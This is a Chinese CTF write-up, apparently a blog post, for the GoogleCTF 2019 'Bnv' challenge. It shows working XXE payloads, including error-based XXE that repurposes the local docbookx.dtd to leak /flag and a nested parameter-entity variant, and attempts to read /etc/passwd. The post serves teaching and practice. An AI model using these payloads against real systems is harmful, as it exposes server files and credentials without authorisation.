BUU[GoogleCTF2019 Quals]Bnv

打开连接

发现可以选择City用BP拦截提交后的信息

明显的JSON格式,尝试将格式改为xml,重新构造数据

这里我构造了很多次,都没成功,后来看了网上的wp才知道首先要构造DTD,申明实体,然后申明元素message

XML 的特殊字符(&、< 和 >)在 PCDATA 中可以识别,并用于解析元素名称和实体。PCDATA(字符数据)区域被解析器视为数据块,从而允许您在数据流中包含任意字符。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [     
        <!ELEMENT message (#PCDATA)> 
    <!ENTITY xxe "135601360123502401401250">
]>
<message>&xxe;</message>

 

 成功回显

尝试读取文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
        <!ELEMENT message (#PCDATA)>
    <!ENTITY b "135601360123502401401250">
    <!ENTITY % Ezpop SYSTEM "file:///etc/passwd">
        %Ezpop;
]>
<message>&b;</message>

 报错

internal error: xmlParseInternalSubset: error detected in Markup declaration
, line 1, column 1

尝试读取flag,也爆出同样的错误,尝试访问不存在的文件

 发现报错返回了实体名,这里我们可以知道我们所请求的实体都是被访问的了,

 我们可以利用系统自带的dtd文件来读取实体

/usr/share/yelp/dtd/docbookx.dtd

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
<?xml version="1.0"?>
<!DOCTYPE message[
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///flag">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///aaaaa/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
'>
%local_dtd;
]>

第一个调用的参数实体是%local_dtd,在/usr/share/yelp/dtd/docbookx.dtd文件中调用了%ISOamso;在ISOamso定义的实体中相继调用了eval、和error。这里先读取了flag,泄露文件内容存放在了file实体中,并通过再次读取返回数据,拿到flag

 得到flag

由于这题目禁止数据外带,我们无法引入服务器DTD文件来读取flag,其实原理上都大同小异

这里不引用外部DTD文件,直接通过嵌套参数实体,同样可以做出来。

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ELEMENT message ANY>
    <!ENTITY % para1 SYSTEM "file:///flag">
    <!ENTITY % para '
        <!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
        &#x25;para2;
    '>
    %para;
]>
<message>a</message>

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值